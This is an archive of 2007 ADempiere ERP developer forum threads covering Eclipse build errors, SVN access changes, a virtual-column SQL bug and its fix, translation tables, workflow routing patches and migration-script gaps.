ec cannot be resolved adempiere_trunk/tools/src/org/apache/ecs ElementContainer.java
line 69 1181270832733 26902
ec cannot be resolved adempiere_trunk/tools/src/org/apache/ecs ElementContainer.java
line 79 1181270832733 26903
ec cannot be resolved adempiere_trunk/tools/src/org/apache/ecs ElementContainer.java
line 89 1181270832733 26904
ec cannot be resolved adempiere_trunk/tools/src/org/apache/ecs ElementContainer.java
line 103 1181270832733 26905
ec cannot be resolved adempiere_trunk/tools/src/org/apache/ecs ElementContainer.java
line 115 1181270832733 26906
Fields cannot be resolved adempiere_trunk/base/src/org/compiere/model
GridTabVO.java line 471 1181271300561 29123
Fields cannot be resolved adempiere_trunk/base/src/org/compiere/model
GridTabVO.java line 473 1181271300561 29124
Fields cannot be resolved adempiere_trunk/base/src/org/compiere/model
GridTabVO.java line 475 1181271300561 29125
Fields cannot be resolved adempiere_trunk/base/src/org/compiere/model
GridTabVO.java line 543 1181271300561 29129
Fields cannot be resolved adempiere_trunk/base/src/org/compiere/model
GridTabVO.java line 545 1181271300561 29130
functions cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 202 1181271312952 29556
functions cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 206 1181271312952 29557
functions cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 211 1181271312952 29558
functions cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 317 1181271312952 29573
groups cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 182 1181271312952 29548
groups cannot be resolved adempiere_trunk/base/src/org/compiere/report/core
RModelData.java line 188 1181271312952 29549
Incompatible operand types Character and char

adempiere_trunk/client/src/org/compiere/apps AppsAction.java line 81 1181271540311
30421
Incompatible operand types Integer and int
adempiere_trunk/base/src/org/compiere/model CalloutOrder.java line 264
1181270910139 27768
Incompatible operand types Integer and int adempiere_trunk/client/src/org/compiere/apps
APanel.java line 1623 1181271307952 29461
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 33 1181269930343 22089
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 49 1181269930343 22093
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 53 1181269930343 22098
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 132 1181269930343 22120
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 134 1181269930343 22122
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 134 1181269930343 22124
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 155 1181269930343 22131
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 194 1181269930343 22139
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 196 1181269930343 22141
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 196 1181269930343 22143
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
MultiMap.java line 213 1181269930343 22149
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
NaturalAccountMap.java line 47 1181269930202 22072
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/model
NaturalAccountMap.java line 235 1181269930202 22082
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util CCache.java
line 30 1181269867577 20477
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util CCache.java
line 210 1181269867577 20487
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util CCache.java
line 231 1181269867577 20492
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util CCache.java
line 242 1181269867577 20495
K cannot be resolved to a type adempiere_trunk/base/src/org/compiere/util CCache.java
line 261 1181269867577 20499
m_additionalLines cannot be resolved
adempiere_trunk/base/src/org/compiere/print/layout TableElement.java line 112
1181269885780 20939

m_additionalLines cannot be resolved
adempiere_trunk/base/src/org/compiere/print/layout TableElement.java line 267
1181269885780 20991
m_additionalLines cannot be resolved
adempiere_trunk/base/src/org/compiere/print/layout TableElement.java line 269
1181269885780 20992
m_attachments cannot be resolved adempiere_trunk/base/src/org/compiere/util
EMail.java line 724 1181269865014 20305
m_attachments cannot be resolved adempiere_trunk/base/src/org/compiere/util
EMail.java line 725 1181269865014 20306
m_attachments cannot be resolved adempiere_trunk/base/src/org/compiere/util
EMail.java line 726 1181269865014 20309
m_attachments cannot be resolved adempiere_trunk/base/src/org/compiere/util
EMail.java line 737 1181269865014 20310
m_attachments cannot be resolved adempiere_trunk/base/src/org/compiere/util
EMail.java line 738 1181269865014 20311
m_attachments cannot be resolved adempiere_trunk/base/src/org/compiere/util
EMail.java line 739 1181269865014 20314

2007-06-09 03:08:07 UTC

Hi Fred,

Strange!

First update your source by using svn update command.

Then in Window -> Show View -> Package Explorer right click on project
'adempiere_trunk' and select Refresh.

Still in Package Explorer, right click on project 'adempiere_trunk' and select Build Path -
> Configure Build Path. In Library tab, there should be a list of 54 libraries. Are there any
errors? Any warnings?

Warm regards,
Bahman

PS: In Package Explorer, do you have one project (adempiere_trunk) or multiple projects
(base, client, sqlj, ...)?

2007-06-09 04:08:15 UTC

thank you bahman for your reply,

i try to do your it yet.

for PS, yes i have multiple projects in my package Explorer, is that make probleme ?

best regrads

2007-06-09 11:06:32 UTC

Hi Fred,

> yes i have multiple projects in my package Explorer,

> is that make probleme ?

Not at all! But you need to configure each project so that project dependencies are in place. You may do it in Configure Build Path -> Projects.

Warm regards,

Bahman

2007-06-09 17:32:52 UTC

hi bahman,

after try and try it still just some warning but no errors,

thanks a lot bahman

best regars

2007-06-09 18:57:20 UTC

Warnings with no errors is good news! So you have your local copy going, congratulations!

Warm regards,

Bahman

2007-06-10 10:37:53 UTC

Hi.

Info from <http://www.sybase.com>:

* NEW Compiere is now available on ASE Express Edition for Linux!

...

What with ASE Express Edition port on Adempiere?

Anatoly

2007-06-10 10:54:50 UTC

Hi Anatoly,

>Info from <http://www.sybase.com>:

>---

>* NEW Compiere is now available on ASE Express Edition for Linux!

I can't find any info regarding Compiere.

Are you sure that this is not old news?

Kind regards,
Trifon

2007-06-10 10:59:49 UTC

Hi Anatoly,

I searched Sybase and Compiere website and also the web for such news but wasn't able to find anything. Even the install guide for Sybase on compiere.org is removed: <http://www.compiere.com/support/install/installSybaseSteps.html>

Would you pass us the link?

Warm regards,
Bahman

2007-06-10 11:19:47 UTC

Hi All.

I cant find again this link.

I downloaded ASE15 express, but I dont know where this link now :(

2007-06-10 11:42:20 UTC

Yes!

http://www.sybase.com/aseex_resources

2007-06-10 12:00:42 UTC

Thank you Anatoly!

I wonder why -as far as I know- there wasn't an announcement on this on compiere.org and also the database installation guide [<http://www.compiere.org/support/install/installDatabase.html>] has only two items EDB and Oracle.

More weird is that I found this link (<http://www.compiere.org/news/0502-R252.html>) stating that 2.5.2 supports Sybase! If it was available for 2.5.2, perhaps it's also supported in 2.6. Has anyone ever tried it?

Warm regards,
Bahman

PS: By the way, maybe my knowledge about Compiere and Sybase is limited and it supports Sybase through similarity (?) with Oracle or EDB.

2007-06-10 12:59:31 UTC

Hi Bahman,

>More weird is that I found this link (<http://www.compiere.org/news/0502-R252.html>) stating that 2.5.2 supports Sybase! >If it was available for 2.5.2, perhaps it's also supported in 2.6. Has anyone ever tried it?

Code which should allow Compiere to work with Sybase was removed in sources. Compiere OInc. replaced it with Derby or something like this. But it is possible Compiere Inc. to have some private branch which runs on Sybase.

At the end of the day who cares.

I do not see anyone who is ready to support sybase port.

Kind regards,
Trifon

2007-06-10 13:41:32 UTC

Hi,

I just noticed that adempiere-cvslog is not working:
http://sourceforge.net/mailarchive/forum.php?forum_name=adempiere-cvslog
(last svn log is for revision 2609 and at this moment we are on 2621)

Any ideas ?

Best regards,
Teo Sarca

2007-06-10 14:02:11 UTC

Hi Teo,

> I just noticed that adempiere-cvslog is not working:
>http://sourceforge.net/mailarchive/forum.php?forum_name=adempiere-cvslog
>(last svn log is for revision 2609 and at this moment we are on 2621)

I tried to research the reason but no success.
I suppose that it is some problem in sf.net.

Kind regards,
Trifon

2007-06-11 10:02:24 UTC

why and when... adempiere programmers,
need to using eclipse more then swing?

thank's

2007-06-11 10:20:05 UTC

Swing is a GUI library and it's used in ADempiere to generate the user interface. Eclipse is a tool used to edit, run and debug ADempiere source code. So there is no overlap between Swing and Eclipse. You use Eclipse to create and edit user interfaces that use Swing.

Hope it helps.

Warm regards,
Bahman

2007-06-11 10:23:27 UTC

Hi one_way,

i'm not sure what you're talking about exactly.
But Swing and Eclipse are two totally different things.

Let me guess what you are talking about.
Could it be that you're asking for when to use SWT over Swing?

Because Swing is as well as SWT a widgets and graphics toolkit for GUI's.
Swing is the more common used one and SWT is the toolkit used by ibm/eclipse and so on.

In adempiere the entire GUI is written by using the Swing libraries and not SWT.

Best regards Johannes

2007-06-12 09:49:28 UTC

Dear community,

this is one important note from sf.net project.

Below note in short means that starting from June 28 SVN repository can be access only with:

<https://adempiere.svn.sourceforge.net/svnroot/adempiere>

Please update your Eclipse settings.

Legacy Subversion Access Method Going Away

Back in November of 2006, we added a new preferred access method for our Subversion offering that solved most of the spurious error messages and other problems with our initial SVN rollout. The change introduced a new URL scheme:

<https://PROJECTNAME.svn.sourceforge.net/svnroot/PROJECTNAME>

Users have been receiving the notice to upgrade via a Site Status announcement and as needed via Support Request when problems were reported.

As a part of our ongoing infrastructure improvements to our Subversion offering and other services, we will be decommissioning the legacy access method (the one without the PROJECTNAME prefix for the hostname) as of June 28. Past that time, Subversion operations that use the old URL scheme will no longer work. You may change over any existing Subversion checkouts you have by following the instructions detailed here:

<https://sourceforge.net/docs/E09#notice>

Kind regards,
Trifon

2007-06-12 07:29:24 UTC

I have this wierd error when trying to save a record, for some reason the "," appears after SELECT and before column selections in SQL:

```
"SELECT ,AD_Org_ID,XX_HR_SECTOR_ID,....."
```

I have no idea why?

```
09:26:03.041 APanel.actionPerformed: Save - 16 [11]
09:26:03.041 AWindow.setBusy: AWindow_1000006 - true [11]
09:26:03.041 APanel.cmd_save: Manual=true [11]
09:26:03.041 GridController.stopEditor: (MTab #2 Ugovori (1000062))
TableEditing=false [11]
09:26:03.041 GridTab.dataSave: #2 - row=2 [11]
09:26:03.041 GridTable.dataSave: Row=2 [11]
09:26:03.041 GridTable.dataSavePO: ID=0 [11]
-----> MTable.getPO: (id) - Class not found for XX_HR_JOB_CONTRACT [11]
-----> GridTable.dataSave: XX_HR_JOB_CONTRACT - No Persistent Object [11]
09:26:03.057 GridTable.dataSave: NonPO [11]
=====> GridTable.dataSave: SELECT
```

```
,AD_Org_ID,XX_HR_SECTOR_ID,XX_HR_DEPARTMENT_ID,XX_HR_JOBPOST_ID,XX_HR_POSTTYPE,XX_HR_JOBCOMPLEXITY_ID,XX_HR_PODNSP,XX_HR_CONTRACTTYPE_ID,XX_CONTRACT_NO,XX_CONTRACT_SALARY,XX_CONTRACT_DATEFROM,XX_CONTRACT_DATOTO,XX_CONTRACT_ABOUT,AD_Client_ID,IsActive,XX_HR_CONTRACT_ID,XX_HR_EMPLOYEE_ID,Created,CreatedBy,Updated,UpdatedBy FROM XX_HR_JOB_CONTRACT WHERE 1=2 [11]
java.sql.SQLException: ORA-00936: missing expression
; State=42000; ErrorCode=936
at oracle.jdbc.driver.DatabaseError.throwSQLException(DatabaseError.java:125)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:305)
at oracle.jdbc.driver.T4CTTIoer.processError(T4CTTIoer.java:272)
at oracle.jdbc.driver.T4C8Oall.receive(T4C8Oall.java:623)
at oracle.jdbc.driver.T4CPreparedStatement.doOall8(T4CPreparedStatement.java:181)
at
oracle.jdbc.driver.T4CPreparedStatement.execute_for_describe(T4CPreparedStatement.java:420)
at
oracle.jdbc.driver.OracleStatement.execute_maybe_describe(OracleStatement.java:896)
at
oracle.jdbc.driver.T4CPreparedStatement.execute_maybe_describe(T4CPreparedStatement.java:452)
at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:986)
at
oracle.jdbc.driver.OracleStatement.doScrollExecuteCommon(OracleStatement.java:3763)
)
at
oracle.jdbc.driver.OraclePreparedStatement.doScrollPstmtExecuteUpdate(OraclePreparedStatement.java:8829)
at
oracle.jdbc.driver.OraclePreparedStatement.executeInternal(OraclePreparedStatement.java:2886)
at
oracle.jdbc.driver.OraclePreparedStatement.executeQuery(OraclePreparedStatement.java:2929)
at org.compiere.util.CPreparedStatement.executeQuery(CPreparedStatement.java:112)
at org.compiere.model.GridTable.dataSave(GridTable.java:1195)
at org.compiere.model.GridTab.dataSave(GridTab.java:817)
at org.compiere.apps.APanel.cmd_save(APanel.java:1628)
at org.compiere.apps.APanel.actionPerformed(APanel.java:1317)
at org.compiere.apps.AppsAction.actionPerformed(AppsAction.java:266)
at javax.swing.AbstractButton.fireActionPerformed(Unknown Source)
at javax.swing.AbstractButton$Handler.actionPerformed(Unknown Source)
```

2007-06-12 07:52:13 UTC

Hello,

Would you explain what to do to replicate the result in order for me to test?

Warm regards,
Bahman

2007-06-12 08:05:10 UTC

the biggest problem is that this wierd error appeared from nowhere, this window worked just fine,...

2007-06-12 08:07:45 UTC

Hi,

> I have this wierd error when trying to save a record, for some reason the "," appears after SELECT and before column selections in SQL:
> "SELECT ,AD_Org_ID,XX_HR_SECTOR_ID,....."

Hi, here are 2 questions to help you to identify the problem:
* which column is missing
* is that column a virtual column ?

Best regards,
Teo Sarca

2007-06-12 08:41:07 UTC

Hi,

Looking at source code, I think there can be an issue if the first displayed field from a tab is binded to a virtual column, and you don't have the java model generated.

But you need to confirm if this is your situation.

Best regards,
Teo Sarca

2007-06-12 08:45:48 UTC

Hi,
it might not be related to this error but it looks like you did not generate a PO class (X_XX_HR..) for your custom table. Did you create your table via the GUI or did you do it with sql and sync with AD later by create columns from db?

Regards,
Karsten

2007-06-12 09:49:09 UTC

yes the problem was with the virtual colomn, but im not sure why, becouse i USE The same virtual column on couple of other windows and there it works fine (i dont have classes generated, yet, is it nesecary?)

tnx!

greetings,
mahir

2007-06-12 09:55:17 UTC

Hi,

> yes the problem was with the virtual colomn, but im not sure why, because i USE The same virtual column on couple of other windows and there it works fine

yes but as i said in my previous post, i think that this issue happends only when your virtual column is the first field from the tab.

> (i dont have classes generated, yet, is it nesecary?)

It's recommanded :)

For first phase you can go without them, but them you should generate them...

Best regards,
Teo Sarca

2007-06-12 10:00:45 UTC

Hi,

I've created a bug report for this issue:

http://sourceforge.net/tracker/index.php?func=detail&aid=1735618&group_id=176962&atid=879332

Best regards,
Teo Sarca

2007-06-12 10:17:34 UTC

Ok, i fixed in rev. 2647.

Mahir, can you test it ?

Best regards,
Teo Sarca

2007-06-12 11:07:23 UTC

yes worked well for me when virtual column is used not on the first place!

one bug less :)

2007-06-11 12:29:21 UTC

hi every1,

I was wondering how to translate the top menu-bar (file etc..)
the tabs workflow,...

basically the frontend, what user can see..

2007-06-12 08:46:15 UTC

Hi,

You need to translate the AD_Message table (AD_Message_Trl).
The items that are used for menu have MsgType='M':

```
select * FROM AD_Message where MsgType='M'
```

Note: Don't edit those directly, to translate them. Use AD_Message_Trl instead.

Best regards,
Teo Sarca

2007-06-12 11:09:16 UTC

teo, you the man today! :)

2007-06-12 13:59:17 UTC

hi,

i have modified my ALoginRes_fr for french view, i follow theses steps :

1. in client\src\org\compiere\apps i take the java file
2. in client\build\org\compiere\apps i take java class

i put the class file into adempiere.jar using winzip but no think happend, it's my first modification please if some body can tell me why it's not work.

best regards
fred

2007-06-12 14:06:08 UTC

Hi Fred,

There can be many issues with your approach. If the Adempiere.jar is signed, obviously your modified class won't have correct signature.

Also this is not the recommended way.

Please take a look here: <http://www.adempiere.com/wiki/index.php/Compile>

Best regards,
Teo Sarca

2007-06-12 14:49:34 UTC

hi Teo,

thanks for your response, i use the link and i start run_build for winXp,
is that the way i follow after each modification in adempiere_trunk ?

Best regards

2007-06-12 14:53:46 UTC

Hi,

Yes. these are the steps for deployment.

But you develop you can compile the project with eclipse and test it...

Best regards,
Teo Sarca

2007-06-12 15:37:30 UTC

hi,

thanks you for your help now i can see the difference.

best regards
fred

2007-06-12 09:35:29 UTC

thank you all...
for the answers of: swing vs eclipse

why and when, we need Swing more then AD.applcation dictionary?
why and when, we need Eclipse more then AD.applcation dictionary?

thank you...

2007-06-12 11:38:07 UTC

Hi,

you don't need eclipse at all - guess you mean java changes/additions and if you say swing it might be usefull in the context of custom forms but anyway...

maybe this will give you some

hints: http://www.adempiere.com/wiki/index.php/DevGuide_When_to_use

Regards,
Karsten

btw - no need to open a new thread for this :)

2007-06-12 15:13:31 UTC

I asked Timo Kontro and he told me he prefers developing using vi!

He said he understood the code better that way.
So Eclipse vs. AD is not an issue.

Mario Calderón

2007-06-12 17:06:01 UTC

Hi Mario,

I wonder if somebody already created a punch card interface for java :)

Regards,
Karsten

2007-06-11 10:39:01 UTC

After setting up a new client I was playing around with the requisition workflow only to find out, that I could not reliably determine which user a newly created workflow activity was going to be routed to. This was true for simple workflow steps and even more so for approval steps. Partly this was surely due to my limited experience with adempiere workflows in general, on the other hand it was easy to create situations which should never happen, like workflow activities being visible to each and every user in an adempiere installation.

The patch set in Tracker item 1734897

(http://sourceforge.net/tracker/index.php?func=detail&aid=1734897&group_id=176962&atid=879334)

tries to improve the situation and is proposed for review to be included in adempiere trunk. I tried to include extensive documentation for every modification in the patches themselves; this should of course be shortened to a sensible amount of code comments.

What was observed/changed specifically:

1.

--

Routing of workflow activities is done by assigning an 'AD_User_ID' to an activity. The system tried to get this 'AD_User_ID' from the responsible of the node underlying the activity by directly calling getAD_User_ID(). This yielded unexpected effects in situations when the responsible type was not 'Human' but 'Role' or 'Org' because the workflow administrator could not see or influence what was stored in the 'AD_User_ID'-Field of a responsible in these cases. Even worse: When selecting the responsible type 'Org' the fields AD_User_ID and AD_Role_ID were filled with default values from the currently logged on user

Proposed solution: Make sure that the fields AD_Org_ID, AD_Role_ID and AD_User_ID of the workflow responsible have predictable values, i.e

Responsible type 'Org' => AD_Role_ID = null, AD_User_ID = null; routing is intended to the supervisor of the Org.

Responsible type 'Role' => AD_User_ID = null; routing is intended to the supervisor of the role; qualifying a specific, not null, role is mandatory.

Responsible type 'Human' => AD_Role_ID = null; routing is intended to the specified user, or if the user is not specified, routing is delegated to the process level.

The following changes implement the desired behaviour:

- a) Make the AD_Role_ID in AD_WF_Responsible not generally mandatory. This requires a change in the database and a new generation of X_AD_WF_Responsible.java.
- b) Set AD_User_ID to null when the responsible type is not 'Human'; set AD_Role_ID to null when the responsible type is not 'Role' in the beforeSave(...) method of MWFResponsible.java.
- c) Create '<NULL>' as newly allowed tag for field default values in GridField.java and use this tag in AD_WF_Responsible.AD_User_ID and AD_WF_Responsible.AD_Role_ID.

2.

--

It seems wrong to determine the AD_User_ID for an Activity by simply getting the AD_User_ID of the responsible of the underlying node, irrespective of the responsible type.

Proposed solution: Implement a new method getRespAD_User_ID() (and helper method getOrg()) in MWF_Responsible.java which returns the user id in the case of 'Human' as the responsible type and tries to return the supervisor user id in the case of 'Role' or 'Org' as the responsible type, and use this method instead of getAD_User_ID() in MWFActivity.java and MWFProcess.java.

3.

--

Make a better effort to find a matching routing target (user id) in MWFActivity.setResponsible(...) and create a fallback mechanism: No routing target found => send activity to the org supervisor or the SuperUser.

4.

--

Make sure that the 'ownDocument' flag is set correctly for every checked user in MFWActivity.getApprovalUser(...).

5.

--

Make sure that the right roles are found in MFWActivity.getApprovalUser(...) by calling 'user.getRoles(AD_Org_ID)'. ALL roles for the user should be returned which allow him/her access to the given org, not only the the roles with direct org access, but also those which delegate org access to the user level. This is implemented by an extended sql query in MUser.getRoles(...).

6.

--

Send a notification to the document owner in case an exception is thrown in the course of a workflow (see MFWActivity.run()).

7.

--

Make trying to find an approval user not dependent on the fact that the underlying node has an 'invoker' responsible; terminate the workflow (by throwing an exception) and set the document status accordingly if no approval user can be found (see MFWActivity.performWork(...) /* User Choice*/).

8.

--

Remove the check if a user is in a role, which allows him to approve his own document, from the beginning of the MFWActivity.setUserChoice(...)-method. IMHO this is against the meaning of 'Approve own document': Why should a user who is faced with the task

of approving documents generally be required to have the ability to approve his OWN documents? If the document to approve really IS his own document this will be respected when trying to find an approval user in the call to getApprovalUser(...).

9.

--

Add record information to the note sent to a document owner if a document was not approved (see MWFActivity.setUserChoice(...)).

Regards

Matthias

2007-06-12 18:26:45 UTC

Hi,

I like to bring this very elaborate post to the attention of others concerned with the WF module such as Tim, Bahman and Victor. Perhaps u can comment and make necessary recommendations so that Matthias suggestion progressed further.

regards

redl

2007-06-12 09:40:35 UTC

is ALL ADempiere bugs, all over this forums,
without exceptions,
FIXED... on the next ADempiere version?

thank you...

2007-06-12 09:53:56 UTC

Hi,

if you fix it and commit your fixes - yes ;)

Regards,

Karsten

p.s. this is a bazaar so it is done the bazaar way

2007-06-12 09:59:53 UTC

Hi,

>is ALL ADempiere bugs, all over this forums,

>without exceptions,
>FIXED... on the next ADempiere version?

It depends on all US(USERS, DEVELOPERS and INTEGRATORS)

Bugs which users report and give support for fixing will be fixed.
For the rest who knows.

Kind regards,
Trifon

2007-06-12 22:13:44 UTC

Hi,

please do not apply release logic of proprietary software to an bazaar-style open source project.

Bugs are being fixed while we go along the way and everybody is welcome to join our travel group ;-)

Regards,
Norbert

2007-06-12 06:14:45 UTC

Hello,

by mistake, i deleted the field p_costadjustment_acct in m_product_acct table in the postgresql DB that I'm using. But did nothing else in Application Dictionary. Now, I have recreated the field in the database, exactly as before (numeric (10)). However, if i enter a new product, and then choose accounting tab, all other account feilds get autmatically populated except the Cost Adjustment one.

Even attempted deleting the Cost adjustment field entry in AD Table m_product_acct, recreated it from DB, then selected the field type as 'Account" etc. but still no use.

As of now I can manually choose the Account for the Cost Adjustmment filed in Product window, but it no longer displays the default value like the other account fields.

Any suggestion appreciated.

vpranger

2007-06-12 07:12:24 UTC

Hi,

I wonder if it that account is a Default one. If not, i wonder if a reimport could set the ID

pointings right, if that applies here. Just some ideas.

btw, u shuld post this in the HELP forum :>

regards
red1

2007-06-12 07:50:00 UTC

Hello,

I'm not sure if it makes sense, but I guess something may check the ID of the field. So I'd suggest updating the filed ID in database to be exactly as it was before.

P_CostAdjustment_Acct must be the record with ID 14432 in AD_Column and 12350 in AD_Field.

Warm regards,
Bahman

2007-06-13 01:59:55 UTC

Hello,

The table related to account tabs have two parent column fields. m_product_id (/ category_id) & c_acctschema_id. It looks like, When a new product (/ category) is entered, then the system automatically copies the account element values from AccountSchemaDefault in to the accounting tab of the newly entered product (/ category).

I had entered one more field in Accounting tab.. Which basically was preventing the acctelementvalues being copied from acctshemadefault.

Hence, the problem was not related the deleted & reentered c_CostAdjsutment_Acct. This I found only when entering new product (/ category) as part of the testing.

Thanks, Red1 and Bahman, for caring to spend your time & trying to help. & next time I'll post these types in Help Forums !

Regards

VPRanger

2007-06-13 06:22:26 UTC

what is the different:
between GPL and MPL

thank you

2007-06-13 08:09:48 UTC

It is explained

here http://rds.yahoo.com/_ylt=A0oGkxEEpm9GMkYB1kBXNyoA;_ylu=X3oDMTE3ZGd0cThoBHNIYwNzcgRwb3MDOQRjb2xvA3cEdnRpZANQUjAwMI84NwRsA1dTMQ--/SIG=11pct9og9/EXP=1181808516/**http%3a//www.fsf.org/licensing/licenses

2007-06-13 07:35:38 UTC

hi,

im trying to make some controls on DATE's that can be put into date fields, so I would like for start that future dates (dates>today) are not allowed. so i was wondering if this can be done from inside adempiere?

i tested with max. value on date field, trying to say that max.value=@Date@ but that is not working..

any ideas?

tnx,
mahir

2007-06-13 07:53:04 UTC

Dont see why such future or any dates cannot be set for new date fields. Present ones may be be defaulted to system dating. Have been happening for stuff like Aging Analysis where future dating can occur. Explain what kinda date field you meant to have that and whats the context that govern the dating.

regards

2007-06-13 08:01:38 UTC

Hi Mahir,

>im trying to make some controls on DATE's that can be put into date fields, so I would like for start that future >dates (dates>today) are not allowed. so i was wondering if this can be done from inside adempiere?

>

>i tested with max. value on date field, trying to say that max.value=@Date@ but that is not working..

Interesting task.

I suppose that Max Value is not working with Date types.
Could you try to research in adempiere core which class is responsible for handling Max Value?

Kind regards,
Trifon

2007-06-13 13:27:56 UTC

I think it could be in the class CNumber.java (focusLost) ??

here he checks only the integers and doubles(currency & costs)

i may be wrong..

2007-06-13 12:33:34 UTC

Hi all,

I had 2pack already integrated with fixed assets addon in older version of compiere. Now when I migrated to new ADempiere320, 2Pack is already integrated in trunk. AND now I have in my DB different AD_TABLE_ID for 2pack.

Problem is that in migration scripts the updates for 2Pack have hardcoded AD_TABLE_ID, AD_COLUMN_ID etc. So I have to manually change them. Not a big issue right now but for future maintainance it can be quite difficult for maintainance. Do you all have same ID's?

Now, do you recoment, that should I synchronize my AD with one used in trunk. Do you have any Idea how to delete and recreate 2Pack?

Thanks in advance for any Idea.

Miso Z.

2007-06-13 12:49:45 UTC

Hi Miso,

yes we have all the same IDs for the 2Pack tables/elements...
That is because we use IDs from 50000+ for new ADempiere core functionality and it is imported to our dbs with the migration sql scripts. So to make it simpler to maintain for you in the mid/long term you should synchronize your ids.

Regards,
Karsten

2007-06-13 13:34:32 UTC

OK thanks Karsten,

one more question, are there any rules about which ID's I can use in developing my addons? I want release what I have done, "just" I will have to somehow rebuild my ID's. So where can I reserve ID's so it will not be in conflict with other developers?

thanks,
Miso

2007-06-13 13:47:56 UTC

Hi Miso,

until now we have no centralized ID registration (but this will change - I will do a wiki page for that). So the way for enhancements that you want to have in trunk is to check the existing migration scripts (apply them to your db) and then build your migration scripts with the next free ids (50000+ - see AD_Sequence table). The obvious problem here is that an other developer may be faster than you and publish his enhancement before you and then you have to change the ids again...

Regards,
Karsten

2007-06-13 13:59:04 UTC

Hi Karsten,
thanks for your answer
Kind Regards,
Miso.

2007-06-13 14:08:43 UTC

Hi Miso,

it is simple - but should be enough for our needs...
Be the first one who register an id :)
http://www.adempiere.com/wiki/index.php/DevGuide_ID-Number_ranges

Regards,
Karsten

2007-06-13 14:44:35 UTC

Hi Karsten,
i think this should be enough for now, but I will wait till next week until the other

developers register theirs IDs, so I won't mix with anyone. I will have to do complete change of my ID's so i will not care what will be left for me :).

Kind Regards,
Miso.

2007-06-06 10:59:49 UTC

Hi, Adempierans.

Robert K. just publish web client enchancement.
Check it out here :

<http://www.oslabs.org/>

Rgds.
Usman

2007-06-06 13:30:16 UTC

Super.
Demo work well.
What about integration into trunk?
Anatoly

2007-06-06 14:06:32 UTC

Hi Anatoly,

I believe it will be integrated soon.

Regards,

Alejandro

2007-06-06 14:07:53 UTC

Hi,
Robert Klein wrote to us when we prepared for Berlin to show it online to the conference, which we did. So much happened that day tha i forgot to mention it and Usman here brought it up. Now Rob is committing it to trunk for us.

I have joined his site above to give our big big thanks.

red1

2007-06-06 14:28:57 UTC

Hi red1.
Dream - Adempiere killer apps. It will be soon. :D

2007-06-06 15:09:41 UTC

Unfortunately, translation not work yet. :)

2007-06-06 15:19:59 UTC

The web client looks quite fine.

May be we can help to test this out. Some other things are not working.

Regards!

2007-06-13 08:22:11 UTC

Hi all,
We have started a test page <http://www.adempiere.com/wiki/index.php/WebUI> to anchor all our effort to help complete this WebUI. Fyi, Rob has been updating the trunk himself on his works. All our comments and testing as well as assistance in the wiki can assist him alot in this regard.

Rob is always very busy so i m the waterboy for now. So is anyone else thirsty?

red1

2007-06-14 07:14:58 UTC

As I installed it locally it only works for gardenworld, but (with migration script) it could work also on custom DB?

2007-06-11 15:54:15 UTC

I'm back! :)

There was a query in the forums concerning the replenish report that made be look at it again ... but it crashed out for me with a sql error.

Now, I have a compiere 253a migrated DB ... against which I thought I had applied ALL migration scripts... but the replenish is failing because there is no C_DocType_ID column in T_Replenish. In a clean 320 seed it is there ok ... so it looks like I failed to run one or more migration scripts. But I've searched and I cannot find the script that add this field to T_Replenish... does anyone have any ideas?

colin

2007-06-11 20:50:53 UTC

Hi Colin,

Ok, I don't have the C_DOCTYPE_ID column in my T_REPLENISH table neither. Same case as you, my database was migrated from older Compiere versions.

I get the error as you with the replenish report:

MIssue.create: null - ORA-00904: "T_REPLENISH"."C_DOCTYPE_ID": invalid identifier

But, I notice also, that in new one installation from 3.2 version this field is in the table. Strange...

Just my 0.02 cents

Best regards,

Alejandro

2007-06-12 08:35:32 UTC

Strange - I have it in my migrated db but ok maybe we missed it in the scripts :)

The solution is - just add it with a new migration script like
alter table t_replenish add C_DocType_ID NUMBER(10,0);

Colin, maybe you can make a bugreport and add the script to svn.

Regards,
Karsten

2007-06-12 09:33:57 UTC

ok Alejandro thanks for that.

Well perhaps I didn't forget a script then and there are gaps in the migration ... I will attempt to run Karsten's DBDifference for the latest seed DB and my migrated Compiere 253a DB to see what turns up. I think on another question Bahman commented that he used DBDifference to generate migration scripts for new customisations but it found other differences than his AD changes too.

colin

2007-06-12 09:45:09 UTC

Well if you have it then that explains why your migration tool didn't pick it up. Maybe we picked up different versions of 253a from compiere to begin with.

Yeah Karsten I can log teh bug report & script. I'm attempting to run your DBDifference to see if anything else is missing but I've never run so I have a little learning to do :)

Getting a error at the moment

====

compare ad_elements
ORA-01722: invalid number
- for table AD_LANGUAGE

====

colin

2007-06-12 09:59:05 UTC

Hi Colin,

I didn't look at the code for a quite long time. Most of this errors I ignored when we did our first 2-3 migration scripts (they are related to missing key columns in some tables and similar things) and i checked the tables by hand (SQL Developer) and since I directly code my enhancement scripts now I don't use it anymore...

Regards,
Karsten

2007-06-12 11:08:37 UTC

